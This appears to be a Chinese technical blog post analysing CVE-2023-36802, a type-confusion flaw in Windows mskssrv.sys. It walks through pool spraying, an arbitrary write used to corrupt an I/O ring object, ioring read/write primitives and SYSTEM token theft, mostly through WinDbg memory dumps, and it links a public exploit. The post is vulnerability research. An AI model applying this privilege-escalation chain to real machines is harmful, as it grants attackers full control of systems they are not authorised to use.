【免费领】网络安全专业入门与进阶学习资料,轻松掌握网络安全技能!
该漏洞利用代码使用一种新的读写原语 ioring 来操作内核数据,虽然 ioring 功能在 windows 中已经出现了一段时间,但是其结合实际的漏洞进行利用还比较新鲜,故在此分享。
漏洞信息
-
漏洞模块:mskssrv.sys
-
发布时间:2023.9.12
环境
-
windows 11 22h2
EXP
使用 exp:https://github.com/xforcered/Windows_MSKSSRV_LPE_CVE-2023-36802
漏洞原理
这是一个类型混淆导致的权限提升漏洞,产生混淆的两个对象是 FSContextReg(size 0x78) 和 FSStreamReg(size 0x1d8),产生漏洞的函数 FSRendezvousServer::FindObject 原本被设计用来检查传入的 FSStreamReg 对象是否在 FSRendezvousServer 对象的 FSRegObjectList 链表中 ,但是其没有校验传入的对象是否是 FSStreamReg 对象,由于 FSContextReg 对象也在 FSRendezvousServer 对象的 FSRegObjectList 链表中(虽然是两条不同的链表),所以当传入对象是 FSContextReg 时也能通过 FSRendezvousServer::FindObject 函数检查,并被传入 FSStreamReg::PublishRx 函数,而 FSStreamReg::PublishRx 函数实际需要一个 FSStreamReg 对象,这就产生了类型混淆。
FSRendezvousServer::FindObject 函数同时检查两种对象是否在各自的链表中。
补丁后 FSRendezvousServer::FindObject 函数变为 FSRendezvousServer::FindStreamObject 函数,其只检查 FSStreamReg 对象是否在 FSRendezvousServer 对象 0x40 处的 FSRegObjectList 链表中。
FSContextReg 对象的创建由 FSRendezvousServer::InitializeContext 函数完成,创建时对象类型字段被赋值为 1,FSContextReg 对象被创建之前会先创建 FSRendezvousServer 对象。
FSStreamReg 对象的建立由 FSRendezvousServer::InitializeStream 函数完成,创建时对象的类型字段被赋值为 2。
部分对象结构:
//size 0xd8
typedef struct _FSFrameMdl{
LIST_ENTRY list_entry //0x0 与 FSStreamReg 对象中的 fsframemdllist.fslist.list_entry 相链接
MDL* pMDL //0xa0 指向 MDL 的指针
DWORD64 MappedAddr //0xa8 MDL 映射后的用户态的进程空间地址
MDL* pMDL //0xb0 指向 MDL 的指针
DWORD64 MappedAddr //0xa8 MDL 映射后的用户态的进程空间地址
}FSFrameMdl,*pFSFrameMdl;
//size 0x28
typedef struct _FSList{
DWORD64* vftable //0x0 虚表
LIST_ENTRY list_entry //0x8 双向链表,用于链接对象,如 FSContextReg、FSStreamReg、FSFrameMdl
LIST_ENTRY* PLIST_ENTRY //0x18 指向下一个对象的双向链表
}FSList,*pFSList;
//size 0x78
typedef struct _FSFrameMdlList{
DWORD64* vftable //0x0 虚表
FSList fslist //0x40 FSList 结构体,其中的链表链接 FSFrameMdl 对象
}FSFrameMdlList,*pFSFrameMdlList;
//size 0x78
typedef struct _FSContextReg{
DWORD64* vftable //0x0 虚表
LIST_ENTRY list_entry //0x8 双向链表,与 FSRendezvousServer 中的链表相连
FSContextReg* self //0x20 指向自己的指针
DWORD type //0x30 1,类型标识,是 FSContextReg 对象还是 FSStreamReg 对象
FSRegObjectList* pFSRegObjectList //0x48 指向链接自己的 FSRegObjectList
BYTE RawData[1] //用户设置的数据
}FSContextReg,*pFSContextReg;
//size 0x1d8
typedef struct _FSStreamReg{
DWORD64* vftable //0x0 虚表
LIST_ENTRY list_entry //0x8 双向链表,与 FSRendezvousServer 中的链表相连
FSStreamReg* self //0x20 指向自己的指针
DWORD type //0x30 2,类型标识,是 FSContextReg 对象还是 FSStreamReg 对象
DWORD size //0x34 自身大小
FSFrameMdlList fsframemdllist //0xc8 链接未映射 MDL 的 FSFrameMdl 对象
FSFrameMdlList fsframemdllist //0x140 链接已映射 MDL 的 FSFrameMdl 对象
DWORD64* pFile_Object //0x1d0 FILE_OBJECT 指针
}FSStreamReg,*pFSStreamReg;
//size 0xa0
typedef struct _FSRendezvousServer{
RKMUTEX rkmutex //0x8 RKMUTEX 结构体
FSRegObjectList fsregobjectlist //0x40 FSRegObjectList 对象,其中的链表链接 FSStreamReg 对象
FSRegObjectList fsregobjectlist //0x70 FSRegObjectList 对象,其中的链表链接 FSContextReg 对象
}FSRendezvousServer,*pFSRendezvousServer;
利用原理
上述的类型混淆可以实现两种漏洞利用:
一是任意地址写入常量 2,在 FSStreamReg::PublishRx 函数中其遍历 FSStreamReg 对象 0x140 处的 FSFrameMdlList 链表中的 FSFrameMdl 对象,并将 FSFrameMdl 对象中的 MDL 取消映射,现在通过 Fake FSStreamReg(FSContextReg) 对象 0x140 处的 FSFrameMdlList 链表中链接的 FSFrameMdl 对象的地址可以实现任意地址写入常量2。
二是信息泄露,FSRendezvousServer::ConsumeTx->FSStreamReg::GetStats 函数将 Fake FSStreamReg 对象中的部分数据写入 SystemBuffer,可以通过检测特征数据来判断内存布局。
任意读写原语
任意读写原语借助 ioring 来实现,使用两次任意地址写漏洞利用(写入常量2)分别修改 IORING_OBJECT.RegBuffersCount 和 IORING_OBJECT.RegBuffers 字段,将 RegBuffers 设置为一个用户层可控的地址,这样在调用相关的读/写原语函数时就能通过控制可控地址中的结构内容读/写到目的地址。
0: kd> dt _IORING_OBJECT ffffe284`44643170
nt!_IORING_OBJECT
+0x000 Type : 0n14
+0x002 Size : 0n208
+0x008 UserInfo : _NT_IORING_INFO
+0x038 Section : 0xffffd286`70d52c10 Void
+0x040 SubmissionQueue : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
+0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
+0x050 CompletionQueue : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
+0x058 ViewSize : 0x701000
+0x060 InSubmit : 0n0
+0x068 CompletionLock : 0
+0x070 SubmitCount : 0
+0x078 CompletionCount : 0
+0x080 CompletionWaitUntil : 0
+0x088 CompletionEvent : _KEVENT
+0x0a0 SignalCompletionEvent : 0 ''
+0x0a8 CompletionUserEvent : (null)
+0x0b0 RegBuffersCount : 2
+0x0b8 RegBuffers : 0x00000000`00020000 -> ????
+0x0c0 RegFilesCount : 0
+0x0c8 RegFiles : (null)
ioring 读写原语在使用时借助了命名管道来进行读写:
读取原语是使用 ioring 将数据写入命名管道客户端,然后在服务端读取数据。
内核部分由 nt!IopIoRingDispatchWrite 函数实现:
写入原语是将数据写入服务端,然后使用 ioring 将数据读取到目的地址。
内核部分由 nt!IopIoRingDispatchRead 函数实现:
ioring 参考文章
1,https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/
2,https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/
3,https://windows-internals.com/one-year-to-i-o-ring-what-changed/
利用分析
利用步骤
1,创建 ioring 与两个命名管道用于稍后构建读写原语。
2,喷射非分页池利用漏洞(信息泄露,任意写2)修改 IORING_OBJECT.RegBuffers 字段,将其修改为用户可控地址。
3,喷射非分页池利用漏洞(信息泄露,任意写2)修改 IORING_OBJECT.RegBuffersCount 字段。
4, 利用 ioring 的读原语读取 system 进程 token。
5,利用 ioring 的写原语修改目的进程 token。
6,利用 ioring 的写原语修复 IORING_OBJECT.RegBuffersCount 和 IORING_OBJECT.RegBuffers 字段。
详情
1,创建 ioring 与两个命名管道用于稍后构建读写原语。
0: kd> dt _IORING_OBJECT ffffe284`44643170
nt!_IORING_OBJECT
+0x000 Type : 0n14
+0x002 Size : 0n208
+0x008 UserInfo : _NT_IORING_INFO
+0x038 Section : 0xffffd286`70d52c10 Void
+0x040 SubmissionQueue : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
+0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
+0x050 CompletionQueue : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
+0x058 ViewSize : 0x701000
+0x060 InSubmit : 0n0
+0x068 CompletionLock : 0
+0x070 SubmitCount : 0
+0x078 CompletionCount : 0
+0x080 CompletionWaitUntil : 0
+0x088 CompletionEvent : _KEVENT
+0x0a0 SignalCompletionEvent : 0 ''
+0x0a8 CompletionUserEvent : (null)
+0x0b0 RegBuffersCount : 0
+0x0b8 RegBuffers : (null)
+0x0c0 RegFilesCount : 0
+0x0c8 RegFiles : (null)
2,喷射非分页池利用漏洞(信息泄露,任意写2)修改 IORING_OBJECT.RegBuffers 字段,将其修改为用户可控地址。
通过向命名管道客户端写入数据的方式与创建 FSContextReg 对象喷射非分页池。
利用信息泄露漏洞(FSRendezvousServer::ConsumeTx)泄露 FSContextReg 对象的临近内存数据,以此判断内存布局。
得到如下内存布局。
1: kd> dq ffffe284454452a0 l1d8/8 FSContextReg
ffffe284`454452a0 fffff806`76dc3198 ffffe284`45445338
ffffe284`454452b0 ffffe284`454433b8 00000000`00000002
ffffe284`454452c0 ffffe284`454452a0 00000000`00000001
ffffe284`454452d0 00000078`00000001 ffffe284`431430c0
ffffe284`454452e0 00000000`00000000 ffffe284`43de3610
ffffe284`454452f0 00000000`2f2c8ddd 06deb705`bb6129ba
ffffe284`45445300 00000002`00000000 00000000`00000000
ffffe284`45445310 00000000`00000000 00000000`00000000
ffffe284`45445320 67657243`02090000 00000000`00000000 Creg
ffffe284`45445330 fffff806`76dc3198 ffffe284`454447f8
ffffe284`45445340 ffffe284`454452a8 00000000`00000002
ffffe284`45445350 ffffe284`45445330 00000000`00000001
ffffe284`45445360 00000078`00000001 ffffe284`431430c0
ffffe284`45445370 00000000`00000000 ffffe284`43de3610
ffffe284`45445380 00000000`2f2c8ddd 06deb705`bb6129ba
ffffe284`45445390 00000002`00000000 00000000`00000000
ffffe284`454453a0 00000000`00000000 00000000`00000000
ffffe284`454453b0 7246704e`0a090000 5548deef`059416a8 NpFr
ffffe284`454453c0 ffffd286`72448d78 ffffd286`72448d78
ffffe284`454453d0 00000000`00000000 ffffd286`723b0880
ffffe284`454453e0 00000050`00000000 00000000`00000050
ffffe284`454453f0 00000000`00000000 00000000`00000000
ffffe284`45445400 00000000`00000000 00000000`00000000
ffffe284`45445410 00000000`00000000 00000000`00000000
ffffe284`45445420 00000000`00000000 ffffe284`4464321a <-------- (char*)&pIoRing->CompletionUserEvent + 0x2;
ffffe284`45445430 00000000`00000000 00000000`00000000
ffffe284`45445440 67657243`02090000 00000000`00000000 Creg
ffffe284`45445450 fffff806`76dc3198 ffffe284`45445698
ffffe284`45445460 ffffe284`454447f8 00000000`00000002
ffffe284`45445470 ffffe284`45445450
1: kd> !pool ffffe284454452a0
Pool page ffffe284454452a0 region is Nonpaged pool
ffffe28445445050 size: 90 previous size: 0 (Allocated) NpFr Process: ffffe284431430c0
ffffe284454450e0 size: 90 previous size: 0 (Allocated) NpFr Process: ffffe284431430c0
ffffe28445445170 size: 90 previous size: 0 (Allocated) Creg
ffffe28445445200 size: 90 previous size: 0 (Allocated) NpFr Process: ffffe284431430c0
*ffffe28445445290 size: 90 previous size: 0 (Allocated) *Creg
Owning component : Unknown (update pooltag.txt)
ffffe28445445320 size: 90 previous size: 0 (Allocated) Creg
ffffe284454453b0 size: 90 previous size: 0 (Allocated) NpFr Process: ffffe284431430c0
ffffe28445445440 size: 90 previous size: 0 (Allocated) Creg
ffffe284454454d0 size: 90 previous size: 0 (Allocated) NpFr Process: ffffe284431430c0
ffffe28445445560 size: 90 previous size: 0 (Allocated) Creg
ffffe284454455f0 size: 90 previous size: 0 (Allocated) Creg
ffffe28445445680 size: 90 previous size: 0 (Allocated) Creg
之所以追求上述内存布局,一是为了利用任意写2漏洞修改 IORING_OBJECT.RegBuffers 字段,将其修改为用户可控地址 0x20000,二是为了避免稍后的 KeSetEvent 函数崩溃。
修改后的 IORING_OBJECT 对象。
0: kd> dt _IORING_OBJECT ffffe284`44643170
nt!_IORING_OBJECT
+0x000 Type : 0n14
+0x002 Size : 0n208
+0x008 UserInfo : _NT_IORING_INFO
+0x038 Section : 0xffffd286`70d52c10 Void
+0x040 SubmissionQueue : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
+0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
+0x050 CompletionQueue : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
+0x058 ViewSize : 0x701000
+0x060 InSubmit : 0n0
+0x068 CompletionLock : 0
+0x070 SubmitCount : 0
+0x078 CompletionCount : 0
+0x080 CompletionWaitUntil : 0
+0x088 CompletionEvent : _KEVENT
+0x0a0 SignalCompletionEvent : 0 ''
+0x0a8 CompletionUserEvent : (null)
+0x0b0 RegBuffersCount : 0
+0x0b8 RegBuffers : 0x00000000`00020000 -> ????
+0x0c0 RegFilesCount : 0
+0x0c8 RegFiles : (null)
3,喷射非分页池利用漏洞(信息泄露,任意写2)修改 IORING_OBJECT.RegBuffersCount 字段。
使用上一步相同的方法修改 IORING_OBJECT.RegBuffersCount 字段。
内存布局如下:
2: kd> dq ffffe284454452a0 l1d8/8 FSContextReg
ffffe284`454452a0 fffff806`76dc3198 ffffe284`45445338
ffffe284`454452b0 ffffe284`454433b8 00000000`00000002
ffffe284`454452c0 ffffe284`454452a0 00000000`00000001
ffffe284`454452d0 00000078`00000001 ffffe284`431430c0
ffffe284`454452e0 00000000`00000000 ffffe284`43de3610
ffffe284`454452f0 00000000`2f2c8ddd 06deb705`bb6129ba
ffffe284`45445300 00000002`00000000 00000000`00000000
ffffe284`45445310 00000000`00000000 00000000`00000000
ffffe284`45445320 67657243`02090000 00000000`00000000 Creg
ffffe284`45445330 fffff806`76dc3198 ffffe284`454447f8
ffffe284`45445340 ffffe284`454452a8 00000000`00000002
ffffe284`45445350 ffffe284`45445330 00000000`00000001
ffffe284`45445360 00000078`00000001 ffffe284`431430c0
ffffe284`45445370 00000000`00000000 ffffe284`43de3610
ffffe284`45445380 00000000`2f2c8ddd 06deb705`bb6129ba
ffffe284`45445390 00000002`00000000 00000000`00000000
ffffe284`454453a0 00000000`00000000 00000000`00000000
ffffe284`454453b0 7246704e`0a090000 5548deef`059416a8 NpFr
ffffe284`454453c0 ffffd286`7218b318 ffffd286`7218b318
ffffe284`454453d0 00000000`00000000 ffffd286`721182c0
ffffe284`454453e0 00000050`00000000 00000000`00000050
ffffe284`454453f0 00000000`00000000 00000000`00000000
ffffe284`45445400 00000000`00000000 00000000`00000000
ffffe284`45445410 00000000`00000000 00000000`00000000
ffffe284`45445420 00000000`00000000 ffffe284`44643210 <-------- &pIoRing->SignalCompletionEvent;
ffffe284`45445430 00000000`00000000 00000000`00000000
ffffe284`45445440 67657243`02090000 00000000`00000000 Creg
ffffe284`45445450 fffff806`76dc3198 ffffe284`45445698
ffffe284`45445460 ffffe284`454447f8 00000000`00000002
ffffe284`45445470 ffffe284`45445450
2: kd> !pool ffffe284454452a0
Pool page ffffe284454452a0 region is Nonpaged pool
ffffe28445445050 size: 90 previous size: 0 (Allocated) NpFr Process: ffffe284431430c0
ffffe284454450e0 size: 90 previous size: 0 (Allocated) NpFr Process: ffffe284431430c0
ffffe28445445170 size: 90 previous size: 0 (Allocated) Creg
ffffe28445445200 size: 90 previous size: 0 (Allocated) NpFr Process: ffffe284431430c0
*ffffe28445445290 size: 90 previous size: 0 (Allocated) *Creg
Owning component : Unknown (update pooltag.txt)
ffffe28445445320 size: 90 previous size: 0 (Allocated) Creg
ffffe284454453b0 size: 90 previous size: 0 (Allocated) NpFr Process: ffffe284431430c0
ffffe28445445440 size: 90 previous size: 0 (Allocated) Creg
ffffe284454454d0 size: 90 previous size: 0 (Allocated) NpFr Process: ffffe284431430c0
ffffe28445445560 size: 90 previous size: 0 (Allocated) Creg
修改后的 IORING_OBJECT 对象。
0: kd> dt _IORING_OBJECT ffffe284`44643170
nt!_IORING_OBJECT
+0x000 Type : 0n14
+0x002 Size : 0n208
+0x008 UserInfo : _NT_IORING_INFO
+0x038 Section : 0xffffd286`70d52c10 Void
+0x040 SubmissionQueue : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
+0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
+0x050 CompletionQueue : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
+0x058 ViewSize : 0x701000
+0x060 InSubmit : 0n0
+0x068 CompletionLock : 0
+0x070 SubmitCount : 0
+0x078 CompletionCount : 0
+0x080 CompletionWaitUntil : 0
+0x088 CompletionEvent : _KEVENT
+0x0a0 SignalCompletionEvent : 0 ''
+0x0a8 CompletionUserEvent : (null)
+0x0b0 RegBuffersCount : 2
+0x0b8 RegBuffers : 0x00000000`00020000 -> ????
+0x0c0 RegFilesCount : 0
+0x0c8 RegFiles : (null)
4,利用 ioring 的读原语读取 system 进程 token。
创建写 io 请求,提交请求 nt!IopIoRingDispatchWrite 会将目的地址的数据(system 进程 token 值)写入命名管道客户端,然后从服务端读取 token 值。
2: kd> dt _IORING_OBJECT ffffe284`44643170
nt!_IORING_OBJECT
+0x000 Type : 0n14
+0x002 Size : 0n208
+0x008 UserInfo : _NT_IORING_INFO
+0x038 Section : 0xffffd286`70d52c10 Void
+0x040 SubmissionQueue : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
+0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
+0x050 CompletionQueue : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
+0x058 ViewSize : 0x701000
+0x060 InSubmit : 0n0
+0x068 CompletionLock : 0
+0x070 SubmitCount : 0
+0x078 CompletionCount : 0
+0x080 CompletionWaitUntil : 0
+0x088 CompletionEvent : _KEVENT
+0x0a0 SignalCompletionEvent : 0 ''
+0x0a8 CompletionUserEvent : (null)
+0x0b0 RegBuffersCount : 2
+0x0b8 RegBuffers : 0x00000000`00020000 -> 0x0000023e`d4970000 _IOP_MC_BUFFER_ENTRY
+0x0c0 RegFilesCount : 0
+0x0c8 RegFiles : (null)
-------------------------- _NT_IORING_SUBMISSION_QUEUE
2: kd> dx -id 0,0,ffffe284431430c0 -r1 ((ntkrnlmp!_NT_IORING_SUBMISSION_QUEUE *)0xfffff80665800000)
((ntkrnlmp!_NT_IORING_SUBMISSION_QUEUE *)0xfffff80665800000) : 0xfffff80665800000 [Type: _NT_IORING_SUBMISSION_QUEUE *]
[+0x000] Head : 0x0 [Type: unsigned int]
[+0x004] Tail : 0x1 [Type: unsigned int]
[+0x008] Flags : NT_IORING_SQ_FLAG_NONE (0) [Type: _NT_IORING_SQ_FLAGS]
[+0x010] Entries [Type: _NT_IORING_SQE [1]]
2: kd> dt _NT_IORING_SQE fffff806`65800010
nt!_NT_IORING_SQE
+0x000 OpCode : 5 ( IORING_OP_WRITE )
+0x004 Flags : 0 ( NT_IORING_SQE_FLAG_NONE )
+0x008 UserData : 0
+0x008 PaddingUserDataForWow : 0
+0x010 Read : _NT_IORING_OP_READ
+0x010 RegisterFiles : _NT_IORING_OP_REGISTER_FILES
+0x010 RegisterBuffers : _NT_IORING_OP_REGISTER_BUFFERS
+0x010 Cancel : _NT_IORING_OP_CANCEL
+0x010 Write : _NT_IORING_OP_WRITE
+0x010 Flush : _NT_IORING_OP_FLUSH
+0x010 ReservedMaxSizePadding : _NT_IORING_OP_RESERVED
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_OP_WRITE *)0xfffff80665800020))
(*((ntkrnlmp!_NT_IORING_OP_WRITE *)0xfffff80665800020)) [Type: _NT_IORING_OP_WRITE]
[+0x000] CommonOpFlags : NT_IORING_OP_FLAG_REGISTERED_BUFFER_0 | NT_IORING_OP_FLAG_REGISTERED_BUFFER (2) [Type: _NT_IORING_OP_FLAGS]
[+0x004] Flags : NT_WRITE_FLAG_NONE (0) [Type: _NT_WRITE_FLAGS]
[+0x008] File [Type: _NT_IORING_HANDLEREF]
[+0x010] Buffer [Type: _NT_IORING_BUFFERREF]
[+0x018] Offset : 0x0 [Type: unsigned __int64]
[+0x020] Length : 0x8 [Type: unsigned int]
[+0x024] Key : 0x0 [Type: unsigned int]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_HANDLEREF *)0xfffff80665800028))
(*((ntkrnlmp!_NT_IORING_HANDLEREF *)0xfffff80665800028)) [Type: _NT_IORING_HANDLEREF]
[+0x000] Handle : 0x80d4 [Type: void *]
[+0x000] HandleIndex : 0x80d4 [Type: unsigned int]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_BUFFERREF *)0xfffff80665800030))
(*((ntkrnlmp!_NT_IORING_BUFFERREF *)0xfffff80665800030)) [Type: _NT_IORING_BUFFERREF]
[+0x000] Address : 0x0 [Type: void *]
[+0x000] FixedBuffer [Type: IORING_REGISTERED_BUFFER]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!IORING_REGISTERED_BUFFER *)0xfffff80665800030))
(*((ntkrnlmp!IORING_REGISTERED_BUFFER *)0xfffff80665800030)) [Type: IORING_REGISTERED_BUFFER]
[+0x000] BufferIndex : 0x0 [Type: unsigned int]
[+0x004] Offset : 0x0 [Type: unsigned int]
-------------------------- _IOP_MC_BUFFER_ENTRY
1: kd> dx -id 0,0,ffffe284431430c0 -r1 ((ntkrnlmp!_IOP_MC_BUFFER_ENTRY * *)0x20000)
((ntkrnlmp!_IOP_MC_BUFFER_ENTRY * *)0x20000) : 0x20000 [Type: _IOP_MC_BUFFER_ENTRY * *]
0x23ed4970000 [Type: _IOP_MC_BUFFER_ENTRY *]
1: kd> dx -id 0,0,ffffe284431430c0 -r1 ((ntkrnlmp!_IOP_MC_BUFFER_ENTRY *)0x23ed4970000)
((ntkrnlmp!_IOP_MC_BUFFER_ENTRY *)0x23ed4970000) : 0x23ed4970000 [Type: _IOP_MC_BUFFER_ENTRY *]
[+0x000] Type : 0xc02 [Type: unsigned short]
[+0x002] Reserved : 0x0 [Type: unsigned short]
[+0x004] Size : 0x80 [Type: unsigned int]
[+0x008] ReferenceCount : 1 [Type: long]
[+0x00c] Flags : 0 [Type: _IOP_MC_BUFFER_ENTRY_FLAGS]
[+0x010] GlobalDataLink [Type: _LIST_ENTRY]
[+0x020] Address : 0xffffe2843d8fa4f8 [Type: void *]
[+0x028] Length : 0x8 [Type: unsigned int]
[+0x02c] AccessMode : 1 [Type: char]
[+0x030] MdlRef : 0 [Type: long]
[+0x038] Mdl : 0x0 [Type: _MDL *]
[+0x040] MdlRundownEvent [Type: _KEVENT]
[+0x058] PfnArray : 0x0 [Type: unsigned __int64 *]
[+0x060] PageNodes [Type: _IOP_MC_BE_PAGE_NODE [1]]
5,利用 ioring 的写原语修改目的进程 token。
将 system 进程的 token 值写入命名管道服务端,创建 io 读请求并提交,nt!IopIoRingDispatchRead 会从命名管道客户端读取数据并将 token 值写入到目的地址。
1: kd> dt _IORING_OBJECT ffffe284`44643170
CVE_2023_36802_exp_22h2!_IORING_OBJECT
+0x000 Type : 0n14
+0x002 Size : 0n208
+0x008 UserInfo : _NT_IORING_INFO
+0x038 Section : 0xffffd286`70d52c10 Void
+0x040 SubmissionQueue : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
+0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
+0x050 CompletionQueue : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
+0x058 ViewSize : 0x701000
+0x060 InSubmit : 0n0
+0x068 CompletionLock : 0
+0x070 SubmitCount : 1
+0x078 CompletionCount : 1
+0x080 CompletionWaitUntil : 0
+0x088 CompletionEvent : _KEVENT
+0x0a0 SignalCompletionEvent : 0 ''
+0x0a8 CompletionUserEvent : (null)
+0x0b0 RegBuffersCount : 2
+0x0b8 RegBuffers : 0x00000000`00020000 -> 0x0000023e`d4970000 _IOP_MC_BUFFER_ENTRY
+0x0c0 RegFilesCount : 0
+0x0c8 RegFiles : (null)
-------------------------- _NT_IORING_SUBMISSION_QUEUE
1: kd> dt _NT_IORING_SUBMISSION_QUEUE 0xfffff806`65800000
nt!_NT_IORING_SUBMISSION_QUEUE
+0x000 Head : 1
+0x004 Tail : 2
+0x008 Flags : 0 ( NT_IORING_SQ_FLAG_NONE )
+0x010 Entries : [1] _NT_IORING_SQE
1: kd> dq 0xfffff806`65800000
fffff806`65800000 00000002`00000001 00000000`00000000
fffff806`65800010 00000000`00000005 00000000`00000000 第一次的 io 写请求
fffff806`65800020 00000000`00000002 00000000`000080d4
fffff806`65800030 00000000`00000000 00000000`00000000
fffff806`65800040 00000000`00000008 00000000`00000000
fffff806`65800050 00000000`00000001 00000000`00000000 第二次的 io 读请求
fffff806`65800060 00000000`00000002 00000000`000080f0
fffff806`65800070 00000000`00000001 00000000`00000000
1: kd> dt _NT_IORING_SQE fffff806`65800050
nt!_NT_IORING_SQE
+0x000 OpCode : 1 ( IORING_OP_READ )
+0x004 Flags : 0 ( NT_IORING_SQE_FLAG_NONE )
+0x008 UserData : 0
+0x008 PaddingUserDataForWow : 0
+0x010 Read : _NT_IORING_OP_READ
+0x010 RegisterFiles : _NT_IORING_OP_REGISTER_FILES
+0x010 RegisterBuffers : _NT_IORING_OP_REGISTER_BUFFERS
+0x010 Cancel : _NT_IORING_OP_CANCEL
+0x010 Write : _NT_IORING_OP_WRITE
+0x010 Flush : _NT_IORING_OP_FLUSH
+0x010 ReservedMaxSizePadding : _NT_IORING_OP_RESERVED
1: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_OP_READ *)0xfffff80665800060))
(*((ntkrnlmp!_NT_IORING_OP_READ *)0xfffff80665800060)) [Type: _NT_IORING_OP_READ]
[+0x000] CommonOpFlags : NT_IORING_OP_FLAG_REGISTERED_BUFFER_0 | NT_IORING_OP_FLAG_REGISTERED_BUFFER (2) [Type: _NT_IORING_OP_FLAGS]
[+0x004] Padding : 0x0 [Type: unsigned int]
[+0x008] File [Type: _NT_IORING_HANDLEREF]
[+0x010] Buffer [Type: _NT_IORING_BUFFERREF]
[+0x018] Offset : 0x0 [Type: unsigned __int64]
[+0x020] Length : 0x8 [Type: unsigned int]
[+0x024] Key : 0x0 [Type: unsigned int]
1: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_HANDLEREF *)0xfffff80665800068))
(*((ntkrnlmp!_NT_IORING_HANDLEREF *)0xfffff80665800068)) [Type: _NT_IORING_HANDLEREF]
[+0x000] Handle : 0x80f0 [Type: void *]
[+0x000] HandleIndex : 0x80f0 [Type: unsigned int]
1: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_BUFFERREF *)0xfffff80665800070))
(*((ntkrnlmp!_NT_IORING_BUFFERREF *)0xfffff80665800070)) [Type: _NT_IORING_BUFFERREF]
[+0x000] Address : 0x1 [Type: void *]
[+0x000] FixedBuffer [Type: IORING_REGISTERED_BUFFER]
1: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!IORING_REGISTERED_BUFFER *)0xfffff80665800070))
(*((ntkrnlmp!IORING_REGISTERED_BUFFER *)0xfffff80665800070)) [Type: IORING_REGISTERED_BUFFER]
[+0x000] BufferIndex : 0x1 [Type: unsigned int]
[+0x004] Offset : 0x0 [Type: unsigned int]
-------------------------- _IOP_MC_BUFFER_ENTRY
2: kd> dt _IOP_MC_BUFFER_ENTRY poi(0x20000 + 8)
CVE_2023_36802_exp_22h2!_IOP_MC_BUFFER_ENTRY
+0x000 Type : 0xc02
+0x002 Reserved : 0
+0x004 Size : 0x80
+0x008 ReferenceCount : 1
+0x00c Flags : 0
+0x010 GlobalDataLink : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
+0x020 Address : 0xffffe284`43448538 Void
+0x028 Length : 8
+0x02c AccessMode : 1 ''
+0x030 MdlRef : 0
+0x038 Mdl : (null)
+0x040 MdlRundownEvent : _KEVENT
+0x058 PfnArray : (null)
+0x060 PageNodes : [32] ""
目标进程的 token 被修改。
2: kd> dq ffffe284`43448080 + 4b8 l1
ffffe284`43448538 ffffd286`6720904c 提权
6,利用 ioring 的写原语修复 IORING_OBJECT.RegBuffersCount 和 IORING_OBJECT.RegBuffers 字段。
将 0 值写入命名管道服务端,创建 io 读请求并提交,nt!IopIoRingDispatchRead 会从命名管道客户端读取数据并将0值写入到目的地址。
2: kd> dt _IORING_OBJECT ffffe284`44643170
CVE_2023_36802_exp_22h2!_IORING_OBJECT
+0x000 Type : 0n14
+0x002 Size : 0n208
+0x008 UserInfo : _NT_IORING_INFO
+0x038 Section : 0xffffd286`70d52c10 Void
+0x040 SubmissionQueue : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
+0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
+0x050 CompletionQueue : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
+0x058 ViewSize : 0x701000
+0x060 InSubmit : 0n0
+0x068 CompletionLock : 0
+0x070 SubmitCount : 2
+0x078 CompletionCount : 2
+0x080 CompletionWaitUntil : 0
+0x088 CompletionEvent : _KEVENT
+0x0a0 SignalCompletionEvent : 0 ''
+0x0a8 CompletionUserEvent : (null)
+0x0b0 RegBuffersCount : 2
+0x0b8 RegBuffers : 0x00000000`00020000 -> 0x0000023e`d4990000 _IOP_MC_BUFFER_ENTRY
+0x0c0 RegFilesCount : 0
+0x0c8 RegFiles : (null)
-------------------------- _NT_IORING_SUBMISSION_QUEUE
2: kd> dq 0xfffff806`65800000 ld0/8
fffff806`65800000 00000003`00000002 00000000`00000000
fffff806`65800010 00000000`00000005 00000000`00000000 第一次的 io 写请求
fffff806`65800020 00000000`00000002 00000000`000080d4
fffff806`65800030 00000000`00000000 00000000`00000000
fffff806`65800040 00000000`00000008 00000000`00000000
fffff806`65800050 00000000`00000001 00000000`00000000 第二次的 io 读请求
fffff806`65800060 00000000`00000002 00000000`000080f0
fffff806`65800070 00000000`00000001 00000000`00000000
fffff806`65800080 00000000`00000008 00000000`00000000
fffff806`65800090 00000000`00000001 00000000`00000000 第三次的 io 读请求
